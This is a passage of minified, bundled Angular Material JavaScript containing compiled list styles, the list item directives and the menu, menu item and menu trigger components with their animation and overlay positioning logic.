.mat-list-text>*{margin:0;padding:0;font-weight:normal;font-size:inherit}.mat-list-base[dense] .mat-list-item .mat-list-text:empty,.mat-list-base[dense] .mat-list-option .mat-list-text:empty{display:none}.mat-list-base[dense] .mat-list-item.mat-list-item-with-avatar .mat-list-item-content .mat-list-text,.mat-list-base[dense] .mat-list-item.mat-list-option .mat-list-item-content .mat-list-text,.mat-list-base[dense] .mat-list-option.mat-list-item-with-avatar .mat-list-item-content .mat-list-text,.mat-list-base[dense] .mat-list-option.mat-list-option .mat-list-item-content .mat-list-text{padding-right:0;padding-left:16px}[dir=rtl] .mat-list-base[dense] .mat-list-item.mat-list-item-with-avatar .mat-list-item-content .mat-list-text,[dir=rtl] .mat-list-base[dense] .mat-list-item.mat-list-option .mat-list-item-content .mat-list-text,[dir=rtl] .mat-list-base[dense] .mat-list-option.mat-list-item-with-avatar .mat-list-item-content .mat-list-text,[dir=rtl] .mat-list-base[dense] .mat-list-option.mat-list-option .mat-list-item-content .mat-list-text{padding-right:16px;padding-left:0}.mat-list-base[dense] .mat-list-item.mat-list-item-with-avatar .mat-list-item-content-reverse .mat-list-text,.mat-list-base[dense] .mat-list-item.mat-list-option .mat-list-item-content-reverse .mat-list-text,.mat-list-base[dense] .mat-list-option.mat-list-item-with-avatar .mat-list-item-content-reverse .mat-list-text,.mat-list-base[dense] .mat-list-option.mat-list-option .mat-list-item-content-reverse .mat-list-text{padding-left:0;padding-right:16px}[dir=rtl] .mat-list-base[dense] .mat-list-item.mat-list-item-with-avatar .mat-list-item-content-reverse .mat-list-text,[dir=rtl] .mat-list-base[dense] .mat-list-item.mat-list-option .mat-list-item-content-reverse .mat-list-text,[dir=rtl] .mat-list-base[dense] .mat-list-option.mat-list-item-with-avatar .mat-list-item-content-reverse .mat-list-text,[dir=rtl] .mat-list-base[dense] .mat-list-option.mat-list-option .mat-list-item-content-reverse .mat-list-text{padding-right:0;padding-left:16px}.mat-list-base[dense] .mat-list-item.mat-list-item-with-avatar.mat-list-option .mat-list-item-content-reverse .mat-list-text,.mat-list-base[dense] .mat-list-item.mat-list-item-with-avatar.mat-list-option .mat-list-item-content .mat-list-text,.mat-list-base[dense] .mat-list-option.mat-list-item-with-avatar.mat-list-option .mat-list-item-content-reverse .mat-list-text,.mat-list-base[dense] .mat-list-option.mat-list-item-with-avatar.mat-list-option .mat-list-item-content .mat-list-text{padding-right:16px;padding-left:16px}.mat-list-base[dense] .mat-list-item .mat-list-avatar,.mat-list-base[dense] .mat-list-option .mat-list-avatar{flex-shrink:0;width:36px;height:36px;border-radius:50%;object-fit:cover}.mat-list-base[dense] .mat-list-item .mat-list-avatar~.mat-divider-inset,.mat-list-base[dense] .mat-list-option .mat-list-avatar~.mat-divider-inset{margin-left:68px;width:calc(100% - 68px)}[dir=rtl] .mat-list-base[dense] .mat-list-item .mat-list-avatar~.mat-divider-inset,[dir=rtl] .mat-list-base[dense] .mat-list-option .mat-list-avatar~.mat-divider-inset{margin-left:auto;margin-right:68px}.mat-list-base[dense] .mat-list-item .mat-list-icon,.mat-list-base[dense] .mat-list-option .mat-list-icon{flex-shrink:0;width:20px;height:20px;font-size:20px;box-sizing:content-box;border-radius:50%;padding:4px}.mat-list-base[dense] .mat-list-item .mat-list-icon~.mat-divider-inset,.mat-list-base[dense] .mat-list-option .mat-list-icon~.mat-divider-inset{margin-left:60px;width:calc(100% - 60px)}[dir=rtl] .mat-list-base[dense] .mat-list-item .mat-list-icon~.mat-divider-inset,[dir=rtl] .mat-list-base[dense] .mat-list-option .mat-list-icon~.mat-divider-inset{margin-left:auto;margin-right:60px}.mat-list-base[dense] .mat-list-item .mat-divider,.mat-list-base[dense] .mat-list-option .mat-divider{position:absolute;bottom:0;left:0;width:100%;margin:0}[dir=rtl] .mat-list-base[dense] .mat-list-item .mat-divider,[dir=rtl] .mat-list-base[dense] .mat-list-option .mat-divider{margin-left:auto;margin-right:0}.mat-list-base[dense] .mat-list-item .mat-divider.mat-divider-inset,.mat-list-base[dense] .mat-list-option .mat-divider.mat-divider-inset{position:absolute}.mat-nav-list a{text-decoration:none;color:inherit}.mat-nav-list .mat-list-item{cursor:pointer;outline:none}mat-action-list .mat-list-item{cursor:pointer;outline:inherit}.mat-list-option:not(.mat-list-item-disabled){cursor:pointer;outline:none}.mat-list-item-disabled{pointer-events:none}.cdk-high-contrast-active .mat-list-item-disabled{opacity:.5}.cdk-high-contrast-active :host .mat-list-item-disabled{opacity:.5}.cdk-high-contrast-active .mat-list-option:hover,.cdk-high-contrast-active .mat-nav-list .mat-list-item:hover,.cdk-high-contrast-active mat-action-list .mat-list-item:hover{outline:dotted 1px;z-index:1}.cdk-high-contrast-active .mat-list-single-selected-option::after{content:"";position:absolute;top:50%;right:16px;transform:translateY(-50%);width:10px;height:0;border-bottom:solid 10px;border-radius:10px}.cdk-high-contrast-active [dir=rtl] .mat-list-single-selected-option::after{right:auto;left:16px}@media(hover: none){.mat-list-option:not(.mat-list-single-selected-option):not(.mat-list-item-disabled):hover,.mat-nav-list .mat-list-item:not(.mat-list-item-disabled):hover,.mat-action-list .mat-list-item:not(.mat-list-item-disabled):hover{background:none}}\'],encapsulation:2,changeDetection:0}),De})(),je=(()=>{class De{}return De.\\u0275fac=function(ve){return new(ve||De)},De.\\u0275dir=a.lG2({type:De,selectors:[["","mat-list-avatar",""],["","matListAvatar",""]],hostAttrs:[1,"mat-list-avatar"]}),De})(),Ze=(()=>{class De{}return De.\\u0275fac=function(ve){return new(ve||De)},De.\\u0275dir=a.lG2({type:De,selectors:[["","mat-list-icon",""],["","matListIcon",""]],hostAttrs:[1,"mat-list-icon"]}),De})(),le=(()=>{class De{}return De.\\u0275fac=function(ve){return new(ve||De)},De.\\u0275dir=a.lG2({type:De,selectors:[["","mat-subheader",""],["","matSubheader",""]],hostAttrs:[1,"mat-subheader"]}),De})(),Oe=(()=>{class De extends se{constructor(ve,We,xt,Be){super(),this._element=ve,this._isInteractiveList=!1,this._destroyed=new c.xQ,this._disabled=!1,this._isInteractiveList=!!(xt||Be&&"action-list"===Be._getListType()),this._list=xt||Be;const pe=this._getHostElement();"button"===pe.nodeName.toLowerCase()&&!pe.hasAttribute("type")&&pe.setAttribute("type","button"),this._list&&this._list._stateChanges.pipe((0,f.R)(this._destroyed)).subscribe(()=>{We.markForCheck()})}get disabled(){return this._disabled||!(!this._list||!this._list.disabled)}set disabled(ve){this._disabled=(0,u.Ig)(ve)}ngAfterContentInit(){(0,s.E0)(this._lines,this._element)}ngOnDestroy(){this._destroyed.next(),this._destroyed.complete()}_isRippleDisabled(){return!this._isInteractiveList||this.disableRipple||!(!this._list||!this._list.disableRipple)}_getHostElement(){return this._element.nativeElement}}return De.\\u0275fac=function(ve){return new(ve||De)(a.Y36(a.SBq),a.Y36(a.sBO),a.Y36(q,8),a.Y36(ee,8))},De.\\u0275cmp=a.Xpm({type:De,selectors:[["mat-list-item"],["a","mat-list-item",""],["button","mat-list-item",""]],contentQueries:function(ve,We,xt){if(1&ve&&(a.Suo(xt,je,5),a.Suo(xt,Ze,5),a.Suo(xt,s.X2,5)),2&ve){let Be;a.iGM(Be=a.CRH())&&(We._avatar=Be.first),a.iGM(Be=a.CRH())&&(We._icon=Be.first),a.iGM(Be=a.CRH())&&(We._lines=Be)}},hostAttrs:[1,"mat-list-item","mat-focus-indicator"],hostVars:4,hostBindings:function(ve,We){2&ve&&a.ekj("mat-list-item-disabled",We.disabled)("mat-list-item-with-avatar",We._avatar||We._icon)},inputs:{disableRipple:"disableRipple",disabled:"disabled"},exportAs:["matListItem"],features:[a.qOj],ngContentSelectors:G,decls:6,vars:2,consts:[[1,"mat-list-item-content"],["mat-ripple","",1,"mat-list-item-ripple",3,"matRippleTrigger","matRippleDisabled"],[1,"mat-list-text"]],template:function(ve,We){1&ve&&(a.F$t(U),a.TgZ(0,"span",0),a._UZ(1,"span",1),a.Hsn(2),a.TgZ(3,"span",2),a.Hsn(4,1),a.qZA(),a.Hsn(5,2),a.qZA()),2&ve&&(a.xp6(1),a.Q6J("matRippleTrigger",We._getHostElement())("matRippleDisabled",We._isRippleDisabled()))},dependencies:[s.wG],encapsulation:2,changeDetection:0}),De})(),ze=(()=>{class De{}return De.\\u0275fac=function(ve){return new(ve||De)},De.\\u0275mod=a.oAB({type:De}),De.\\u0275inj=a.cJS({imports:[s.uc,s.si,s.BQ,s.us,n.ez,s.uc,s.BQ,s.us,z.t]}),De})()},8255:(At,ae,d)=>{"use strict";d.d(ae,{OP:()=>re,Tx:()=>Et,VK:()=>pe,p6:()=>Je});var n=d(2687),a=d(1281),s=d(9521),u=d(4650),c=d(8929),f=d(2654),E=d(6787),_=d(1086),S=d(8139),g=d(1059),C=d(7545),z=d(2986),H=d(7625),j=d(2198),U=d(8583),G=d(7340),Q=d(4080),oe=d(6895),Ce=d(3238),k=d(445),K=d(8184),se=d(3353),ee=d(7261);const q=["mat-menu-item",""];function we(Dt,Pt){1&Dt&&(u.O4$(),u.TgZ(0,"svg",2),u._UZ(1,"polygon",3),u.qZA())}const ce=["*"];function je(Dt,Pt){if(1&Dt){const Ie=u.EpF();u.TgZ(0,"div",0),u.NdJ("keydown",function(x){u.CHM(Ie);const m=u.oxw();return u.KtG(m._handleKeydown(x))})("click",function(){u.CHM(Ie);const x=u.oxw();return u.KtG(x.closed.emit("click"))})("@transformMenu.start",function(x){u.CHM(Ie);const m=u.oxw();return u.KtG(m._onAnimationStart(x))})("@transformMenu.done",function(x){u.CHM(Ie);const m=u.oxw();return u.KtG(m._onAnimationDone(x))}),u.TgZ(1,"div",1),u.Hsn(2),u.qZA()()}if(2&Dt){const Ie=u.oxw();u.Q6J("id",Ie.panelId)("ngClass",Ie._classList)("@transformMenu",Ie._panelAnimationState),u.uIk("aria-label",Ie.ariaLabel||null)("aria-labelledby",Ie.ariaLabelledby||null)("aria-describedby",Ie.ariaDescribedby||null)}}const Ze={transformMenu:(0,G.X$)("transformMenu",[(0,G.SB)("void",(0,G.oB)({opacity:0,transform:"scale(0.8)"})),(0,G.eR)("void => enter",(0,G.jt)("120ms cubic-bezier(0, 0, 0.2, 1)",(0,G.oB)({opacity:1,transform:"scale(1)"}))),(0,G.eR)("* => void",(0,G.jt)("100ms 25ms linear",(0,G.oB)({opacity:0})))]),fadeInItems:(0,G.X$)("fadeInItems",[(0,G.SB)("showing",(0,G.oB)({opacity:1})),(0,G.eR)("void => *",[(0,G.oB)({opacity:0}),(0,G.jt)("400ms 100ms cubic-bezier(0.55, 0, 0.55, 0.2)")])])},Qe=new u.OlP("MatMenuContent"),ze=new u.OlP("MAT_MENU_PANEL"),De=(0,Ce.Kr)((0,Ce.Id)(class{}));let re=(()=>{class Dt extends De{constructor(Ie,te,x,m,b){super(),this._elementRef=Ie,this._document=te,this._focusMonitor=x,this._parentMenu=m,this._changeDetectorRef=b,this.role="menuitem",this._hovered=new c.xQ,this._focused=new c.xQ,this._highlighted=!1,this._triggersSubmenu=!1,m?.addItem?.(this)}focus(Ie,te){this._focusMonitor&&Ie?this._focusMonitor.focusVia(this._getHostElement(),Ie,te):this._getHostElement().focus(te),this._focused.next(this)}ngAfterViewInit(){this._focusMonitor&&this._focusMonitor.monitor(this._elementRef,!1)}ngOnDestroy(){this._focusMonitor&&this._focusMonitor.stopMonitoring(this._elementRef),this._parentMenu&&this._parentMenu.removeItem&&this._parentMenu.removeItem(this),this._hovered.complete(),this._focused.complete()}_getTabIndex(){return this.disabled?"-1":"0"}_getHostElement(){return this._elementRef.nativeElement}_checkDisabled(Ie){this.disabled&&(Ie.preventDefault(),Ie.stopPropagation())}_handleMouseEnter(){this._hovered.next(this)}getLabel(){const Ie=this._elementRef.nativeElement.cloneNode(!0),te=Ie.querySelectorAll("mat-icon, .material-icons");for(let x=0;x<te.length;x++)te[x].remove();return Ie.textContent?.trim()||""}_setHighlighted(Ie){this._highlighted=Ie,this._changeDetectorRef?.markForCheck()}_hasFocus(){return this._document&&this._document.activeElement===this._getHostElement()}}return Dt.\\u0275fac=function(Ie){return new(Ie||Dt)(u.Y36(u.SBq),u.Y36(oe.K0),u.Y36(n.tE),u.Y36(ze,8),u.Y36(u.sBO))},Dt.\\u0275cmp=u.Xpm({type:Dt,selectors:[["","mat-menu-item",""]],hostAttrs:[1,"mat-focus-indicator"],hostVars:10,hostBindings:function(Ie,te){1&Ie&&u.NdJ("click",function(m){return te._checkDisabled(m)})("mouseenter",function(){return te._handleMouseEnter()}),2&Ie&&(u.uIk("role",te.role)("tabindex",te._getTabIndex())("aria-disabled",te.disabled.toString())("disabled",te.disabled||null),u.ekj("mat-menu-item",!0)("mat-menu-item-highlighted",te._highlighted)("mat-menu-item-submenu-trigger",te._triggersSubmenu))},inputs:{disabled:"disabled",disableRipple:"disableRipple",role:"role"},exportAs:["matMenuItem"],features:[u.qOj],attrs:q,ngContentSelectors:ce,decls:3,vars:3,consts:[["matRipple","",1,"mat-menu-ripple",3,"matRippleDisabled","matRippleTrigger"],["class","mat-menu-submenu-icon","viewBox","0 0 5 10","focusable","false",4,"ngIf"],["viewBox","0 0 5 10","focusable","false",1,"mat-menu-submenu-icon"],["points","0,0 5,5 0,10"]],template:function(Ie,te){1&Ie&&(u.F$t(),u.Hsn(0),u._UZ(1,"div",0),u.YNc(2,we,2,0,"svg",1)),2&Ie&&(u.xp6(1),u.Q6J("matRippleDisabled",te.disableRipple||te.disabled)("matRippleTrigger",te._getHostElement()),u.xp6(1),u.Q6J("ngIf",te._triggersSubmenu))},dependencies:[oe.O5,Ce.wG],encapsulation:2,changeDetection:0}),Dt})();const ve=new u.OlP("mat-menu-default-options",{providedIn:"root",factory:function We(){return{overlapTrigger:!1,xPosition:"after",yPosition:"below",backdropClass:"cdk-overlay-transparent-backdrop"}}});let xt=0,Be=(()=>{class Dt{constructor(Ie,te,x,m){this._elementRef=Ie,this._ngZone=te,this._defaultOptions=x,this._changeDetectorRef=m,this._xPosition=this._defaultOptions.xPosition,this._yPosition=this._defaultOptions.yPosition,this._directDescendantItems=new u.n_E,this._tabSubscription=f.w.EMPTY,this._classList={},this._panelAnimationState="void",this._animationDone=new c.xQ,this.overlayPanelClass=this._defaultOptions.overlayPanelClass||"",this.backdropClass=this._defaultOptions.backdropClass,this._overlapTrigger=this._defaultOptions.overlapTrigger,this._hasBackdrop=this._defaultOptions.hasBackdrop,this.closed=new u.vpe,this.close=this.closed,this.panelId="mat-menu-panel-"+xt++}get xPosition(){return this._xPosition}set xPosition(Ie){this._xPosition=Ie,this.setPositionClasses()}get yPosition(){return this._yPosition}set yPosition(Ie){this._yPosition=Ie,this.setPositionClasses()}get overlapTrigger(){return this._overlapTrigger}set overlapTrigger(Ie){this._overlapTrigger=(0,a.Ig)(Ie)}get hasBackdrop(){return this._hasBackdrop}set hasBackdrop(Ie){this._hasBackdrop=(0,a.Ig)(Ie)}set panelClass(Ie){const te=this._previousPanelClass;te&&te.length&&te.split(" ").forEach(x=>{this._classList[x]=!1}),this._previousPanelClass=Ie,Ie&&Ie.length&&(Ie.split(" ").forEach(x=>{this._classList[x]=!0}),this._elementRef.nativeElement.className="")}get classList(){return this.panelClass}set classList(Ie){this.panelClass=Ie}ngOnInit(){this.setPositionClasses()}ngAfterContentInit(){this._updateDirectDescendants(),this._keyManager=new n.Em(this._directDescendantItems).withWrap().withTypeAhead().withHomeAndEnd(),this._tabSubscription=this._keyManager.tabOut.subscribe(()=>this.closed.emit("tab")),this._directDescendantItems.changes.pipe((0,g.O)(this._directDescendantItems),(0,C.w)(Ie=>(0,E.T)(...Ie.map(te=>te._focused)))).subscribe(Ie=>this._keyManager.updateActiveItem(Ie)),this._directDescendantItems.changes.subscribe(Ie=>{const te=this._keyManager;if("enter"===this._panelAnimationState&&te.activeItem?._hasFocus()){const x=Ie.toArray(),m=Math.max(0,Math.min(x.length-1,te.activeItemIndex||0));x[m]&&!x[m].disabled?te.setActiveItem(m):te.setNextItemActive()}})}ngOnDestroy(){this._directDescendantItems.destroy(),this._tabSubscription.unsubscribe(),this.closed.complete()}_hovered(){return this._directDescendantItems.changes.pipe((0,g.O)(this._directDescendantItems),(0,C.w)(te=>(0,E.T)(...te.map(x=>x._hovered))))}addItem(Ie){}removeItem(Ie){}_handleKeydown(Ie){const te=Ie.keyCode,x=this._keyManager;switch(te){case s.hY:(0,s.Vb)(Ie)||(Ie.preventDefault(),this.closed.emit("keydown"));break;case s.oh:this.parentMenu&&"ltr"===this.direction&&this.closed.emit("keydown");break;case s.SV:this.parentMenu&&"rtl"===this.direction&&this.closed.emit("keydown");break;default:return(te===s.LH||te===s.JH)&&x.setFocusOrigin("keyboard"),void x.onKeydown(Ie)}Ie.stopPropagation()}focusFirstItem(Ie="program"){this._ngZone.onStable.pipe((0,z.q)(1)).subscribe(()=>{let te=null;if(this._directDescendantItems.length&&(te=this._directDescendantItems.first._getHostElement().closest(\'[role="menu"]\')),!te||!te.contains(document.activeElement)){const x=this._keyManager;x.setFocusOrigin(Ie).setFirstItemActive(),!x.activeItem&&te&&te.focus()}})}resetActiveItem(){this._keyManager.setActiveItem(-1)}setElevation(Ie){const te=Math.min(this._baseElevation+Ie,24),x=`${this._elevationPrefix}${te}`,m=Object.keys(this._classList).find(b=>b.startsWith(this._elevationPrefix));(!m||m===this._previousElevation)&&(this._previousElevation&&(this._classList[this._previousElevation]=!1),this._classList[x]=!0,this._previousElevation=x)}setPositionClasses(Ie=this.xPosition,te=this.yPosition){const x=this._classList;x["mat-menu-before"]="before"===Ie,x["mat-menu-after"]="after"===Ie,x["mat-menu-above"]="above"===te,x["mat-menu-below"]="below"===te,this._changeDetectorRef?.markForCheck()}_startAnimation(){this._panelAnimationState="enter"}_resetAnimation(){this._panelAnimationState="void"}_onAnimationDone(Ie){this._animationDone.next(Ie),this._isAnimating=!1}_onAnimationStart(Ie){this._isAnimating=!0,"enter"===Ie.toState&&0===this._keyManager.activeItemIndex&&(Ie.element.scrollTop=0)}_updateDirectDescendants(){this._allItems.changes.pipe((0,g.O)(this._allItems)).subscribe(Ie=>{this._directDescendantItems.reset(Ie.filter(te=>te._parentMenu===this)),this._directDescendantItems.notifyOnChanges()})}}return Dt.\\u0275fac=function(Ie){return new(Ie||Dt)(u.Y36(u.SBq),u.Y36(u.R0b),u.Y36(ve),u.Y36(u.sBO))},Dt.\\u0275dir=u.lG2({type:Dt,contentQueries:function(Ie,te,x){if(1&Ie&&(u.Suo(x,Qe,5),u.Suo(x,re,5),u.Suo(x,re,4)),2&Ie){let m;u.iGM(m=u.CRH())&&(te.lazyContent=m.first),u.iGM(m=u.CRH())&&(te._allItems=m),u.iGM(m=u.CRH())&&(te.items=m)}},viewQuery:function(Ie,te){if(1&Ie&&u.Gf(u.Rgc,5),2&Ie){let x;u.iGM(x=u.CRH())&&(te.templateRef=x.first)}},inputs:{backdropClass:"backdropClass",ariaLabel:["aria-label","ariaLabel"],ariaLabelledby:["aria-labelledby","ariaLabelledby"],ariaDescribedby:["aria-describedby","ariaDescribedby"],xPosition:"xPosition",yPosition:"yPosition",overlapTrigger:"overlapTrigger",hasBackdrop:"hasBackdrop",panelClass:["class","panelClass"],classList:"classList"},outputs:{closed:"closed",close:"close"}}),Dt})(),pe=(()=>{class Dt extends Be{constructor(Ie,te,x,m){super(Ie,te,x,m),this._elevationPrefix="mat-elevation-z",this._baseElevation=4}}return Dt.\\u0275fac=function(Ie){return new(Ie||Dt)(u.Y36(u.SBq),u.Y36(u.R0b),u.Y36(ve),u.Y36(u.sBO))},Dt.\\u0275cmp=u.Xpm({type:Dt,selectors:[["mat-menu"]],hostVars:3,hostBindings:function(Ie,te){2&Ie&&u.uIk("aria-label",null)("aria-labelledby",null)("aria-describedby",null)},exportAs:["matMenu"],features:[u._Bn([{provide:ze,useExisting:Dt}]),u.qOj],ngContentSelectors:ce,decls:1,vars:0,consts:[["tabindex","-1","role","menu",1,"mat-menu-panel",3,"id","ngClass","keydown","click"],[1,"mat-menu-content"]],template:function(Ie,te){1&Ie&&(u.F$t(),u.YNc(0,je,3,6,"ng-template"))},dependencies:[oe.mk],styles:[\'mat-menu{display:none}.mat-menu-panel{min-width:112px;max-width:280px;overflow:auto;-webkit-overflow-scrolling:touch;max-height:calc(100vh - 48px);border-radius:4px;outline:0;min-height:64px;position:relative}.mat-menu-panel.ng-animating{pointer-events:none}.cdk-high-contrast-active .mat-menu-panel{outline:solid 1px}.mat-menu-content:not(:empty){padding-top:8px;padding-bottom:8px}.mat-menu-item{-webkit-user-select:none;user-select:none;cursor:pointer;outline:none;border:none;-webkit-tap-highlight-color:rgba(0,0,0,0);white-space:nowrap;overflow:hidden;text-overflow:ellipsis;display:block;line-height:48px;height:48px;padding:0 16px;text-align:left;text-decoration:none;max-width:100%;position:relative}.mat-menu-item::-moz-focus-inner{border:0}.mat-menu-item[disabled]{cursor:default}[dir=rtl] .mat-menu-item{text-align:right}.mat-menu-item .mat-icon{margin-right:16px;vertical-align:middle}.mat-menu-item .mat-icon svg{vertical-align:top}[dir=rtl] .mat-menu-item .mat-icon{margin-left:16px;margin-right:0}.mat-menu-item[disabled]::after{display:block;position:absolute;content:"";top:0;left:0;bottom:0;right:0}.cdk-high-contrast-active .mat-menu-item{margin-top:1px}.mat-menu-item-submenu-trigger{padding-right:32px}[dir=rtl] .mat-menu-item-submenu-trigger{padding-right:16px;padding-left:32px}.mat-menu-submenu-icon{position:absolute;top:50%;right:16px;transform:translateY(-50%);width:5px;height:10px;fill:currentColor}[dir=rtl] .mat-menu-submenu-icon{right:auto;left:16px;transform:translateY(-50%) scaleX(-1)}.cdk-high-contrast-active .mat-menu-submenu-icon{fill:CanvasText}button.mat-menu-item{width:100%}.mat-menu-item .mat-menu-ripple{top:0;left:0;right:0;bottom:0;position:absolute;pointer-events:none}\'],encapsulation:2,data:{animation:[Ze.transformMenu,Ze.fadeInItems]},changeDetection:0}),Dt})();const P=new u.OlP("mat-menu-scroll-strategy"),R={provide:P,deps:[K.aV],useFactory:function w(Dt){return()=>Dt.scrollStrategies.reposition()}},_e=(0,se.i$)({passive:!0});let ct=(()=>{class Dt{constructor(Ie,te,x,m,b,B,ie,Xe,it){this._overlay=Ie,this._element=te,this._viewContainerRef=x,this._menuItemInstance=B,this._dir=ie,this._focusMonitor=Xe,this._ngZone=it,this._overlayRef=null,this._menuOpen=!1,this._closingActionsSubscription=f.w.EMPTY,this._hoverSubscription=f.w.EMPTY,this._menuCloseSubscription=f.w.EMPTY,this._handleTouchStart=wt=>{(0,n.yG)(wt)||(this._openedBy="touch")},this._openedBy=void 0,this.restoreFocus=!0,this.menuOpened=new u.vpe,this.onMenuOpen=this.menuOpened,this.menuClosed=new u.vpe,this.onMenuClose=this.menuClosed,this._scrollStrategy=m,this._parentMaterialMenu=b instanceof Be?b:void 0,te.nativeElement.addEventListener("touchstart",this._handleTouchStart,_e),B&&(B._triggersSubmenu=this.triggersSubmenu())}get _deprecatedMatMenuTriggerFor(){return this.menu}set _deprecatedMatMenuTriggerFor(Ie){this.menu=Ie}get menu(){return this._menu}set menu(Ie){Ie!==this._menu&&(this._menu=Ie,this._menuCloseSubscription.unsubscribe(),Ie&&(this._menuCloseSubscription=Ie.close.subscribe(te=>{this._destroyMenu(te),("click"===te||"tab"===te)&&this._parentMaterialMenu&&this._parentMaterialMenu.closed.emit(te)})))}ngAfterContentInit(){this._handleHover()}ngOnDestroy(){this._overlayRef&&(this._overlayRef.dispose(),this._overlayRef=null),this._element.nativeElement.removeEventListener("touchstart",this._handleTouchStart,_e),this._menuCloseSubscription.unsubscribe(),this._closingActionsSubscription.unsubscribe(),this._hoverSubscription.unsubscribe()}get menuOpen(){return this._menuOpen}get dir(){return this._dir&&"rtl"===this._dir.value?"rtl":"ltr"}triggersSubmenu(){return!(!this._menuItemInstance||!this._parentMaterialMenu)}toggleMenu(){return this._menuOpen?this.closeMenu():this.openMenu()}openMenu(){const Ie=this.menu;if(this._menuOpen||!Ie)return;const te=this._createOverlay(Ie),x=te.getConfig(),m=x.positionStrategy;this._setPosition(Ie,m),x.hasBackdrop=null==Ie.hasBackdrop?!this.triggersSubmenu():Ie.hasBackdrop,te.attach(this._getPortal(Ie)),Ie.lazyContent&&Ie.lazyContent.attach(this.menuData),this._closingActionsSubscription=this._menuClosingActions().subscribe(()=>this.closeMenu()),this._initMenu(Ie),Ie instanceof Be&&(Ie._startAnimation(),Ie._directDescendantItems.changes.pipe((0,H.R)(Ie.close)).subscribe(()=>{m.withLockedPosition(!1).reapplyLastPosition(),m.withLockedPosition(!0)}))}closeMenu(){this.menu?.close.emit()}focus(Ie,te){this._focusMonitor&&Ie?this._focusMonitor.focusVia(this._element,Ie,te):this._element.nativeElement.focus(te)}updatePosition(){this._overlayRef?.updatePosition()}_destroyMenu(Ie){if(!this._overlayRef||!this.menuOpen)return;const te=this.menu;this._closingActionsSubscription.unsubscribe(),this._overlayRef.detach(),this.restoreFocus&&("keydown"===Ie||!this._openedBy||!this.triggersSubmenu())&&this.focus(this._openedBy),this._openedBy=void 0,te instanceof Be?(te._resetAnimation(),te.lazyContent?te._animationDone.pipe((0,j.h)(x=>"void"===x.toState),(0,z.q)(1),(0,H.R)(te.lazyContent._attached)).subscribe({next:()=>te.lazyContent.detach(),complete:()=>this._setIsMenuOpen(!1)}):this._setIsMenuOpen(!1)):(this._setIsMenuOpen(!1),te?.lazyContent?.detach())}_initMenu(Ie){Ie.parentMenu=this.triggersSubmenu()?this._parentMaterialMenu:void 0,Ie.direction=this.dir,this._setMenuElevation(Ie),Ie.focusFirstItem(this._openedBy||"program"),this._setIsMenuOpen(!0)}_setMenuElevation(Ie){if(Ie.setElevation){let te=0,x=Ie.parentMenu;for(;x;)te++,x=x.parentMenu;Ie.setElevation(te)}}_setIsMenuOpen(Ie){this._menuOpen=Ie,this._menuOpen?this.menuOpened.emit():this.menuClosed.emit(),this.triggersSubmenu()&&this._menuItemInstance._setHighlighted(Ie)}_createOverlay(Ie){if(!this._overlayRef){const te=this._getOverlayConfig(Ie);this._subscribeToPositions(Ie,te.positionStrategy),this._overlayRef=this._overlay.create(te),this._overlayRef.keydownEvents().subscribe()}return this._overlayRef}_getOverlayConfig(Ie){return new K.X_({positionStrategy:this._overlay.position().flexibleConnectedTo(this._element).withLockedPosition().withGrowAfterOpen().withTransformOriginOn(".mat-menu-panel, .mat-mdc-menu-panel"),backdropClass:Ie.backdropClass||"cdk-overlay-transparent-backdrop",panelClass:Ie.overlayPanelClass,scrollStrategy:this._scrollStrategy(),direction:this._dir})}_subscribeToPositions(Ie,te){Ie.setPositionClasses&&te.positionChanges.subscribe(x=>{const m="start"===x.connectionPair.overlayX?"after":"before",b="top"===x.connectionPair.overlayY?"below":"above";this._ngZone?this._ngZone.run(()=>Ie.setPositionClasses(m,b)):Ie.setPositionClasses(m,b)})}_setPosition(Ie,te){let[x,m]="before"===Ie.xPosition?["end","start"]:["start","end"],[b,B]="above"===Ie.yPosition?["bottom","top"]:["top","bottom"],[ie,Xe]=[b,B],[it,wt]=[x,m],Vt=0;if(this.triggersSubmenu()){if(wt=x="before"===Ie.xPosition?"start":"end",m=it="end"===x?"start":"end",this._parentMaterialMenu){if(null==this._parentInnerPadding){const Gt=this._parentMaterialMenu.items.first;this._parentInnerPadding=Gt?Gt._getHostElement().offsetTop:0}Vt="bottom"===b?this._parentInnerPadding:-this._parentInnerPadding}}else Ie.overlapTrigger||(ie="top"===b?"bottom":"top",Xe="top"===B?"bottom":"top");te.withPositions([{originX:x,originY:ie,overlayX:it,overlayY:b,offsetY:Vt},{originX:m,originY:ie,overlayX:wt,overlayY:b,offsetY:Vt},{originX:x,originY:Xe,overlayX:it,overlayY:B,offsetY:-Vt},{originX:m,originY:Xe,overlayX:wt,overlayY:B,offsetY:-Vt}])}_menuClosingActions(){const Ie=this._overlayRef.backdropClick(),te=this._overlayRef.detachments(),x=this._parentMaterialMenu?this._parentMaterialMenu.closed:(0,_.of)(),m=this._parentMaterialMenu?this._parentMaterialMenu._hovered().pipe((0,j.h)(b=>b!==this._menuItemInstance),(0,j.h)(()=>this._menuOpen)):(0,_.of)();return(0,E.T)(Ie,x,m,te)}_handleMousedown(Ie){(0,n.X6)(Ie)||(this._openedBy=0===Ie.button?"mouse":void 0,this.triggersSubmenu()&&Ie.preventDefault())}_handleKeydown(Ie){const te=Ie.keyCode;(te===s.K5||te===s.L_)&&(this._openedBy="keyboard"),this.triggersSubmenu()&&(te===s.SV&&"ltr"===this.dir||te===s.oh&&"rtl"===this.dir)&&(this._openedBy="keyboard",this.openMenu())}_handleClick(Ie){this.triggersSubmenu()?(Ie.stopPropagation(),this.openMenu()):this.toggleMenu()}_handleHover(){!this.triggersSubmenu()||!this._parentMaterialMenu||(this._hoverSubscription=this._parentMaterialMenu._hovered().pipe((0,j.h)(Ie=>Ie===this._menuItemInstance&&!Ie.disabled),(0,U.g)(0,S.E)).subscribe(()=>{this._openedBy="mouse",this.menu instanceof Be&&this.menu._isAnimating?this.menu._animationDone.pipe((0,z.q)(1),(0,U.g)(0,S.E),(0,H.R)(this._parentMaterialMenu._hovered())).subscribe(()=>this.openMenu()):this.openMenu()}))}_getPortal(Ie){return(!this._portal||this._portal.templateRef!==Ie.templateRef)&&(this._portal=new Q.UE(Ie.templateRef,this._viewContainerRef)),this._portal}}return Dt.\\u0275fac=function(Ie){return new(Ie||Dt)(u.Y36(K.aV),u.Y36(u.SBq),u.Y36(u.s_b),u.Y36(P),u.Y36(ze,8),u.Y36(re,10),u.Y36(k.Is,8),u.Y36(n.tE),u.Y36(u.R0b))},Dt.\\u0275dir=u.lG2({type:Dt,hostVars:3,hostBindings:function(Ie,te){1&Ie&&u.NdJ("click",function(m){return te._handleClick(m)})("mousedown",function(m){return 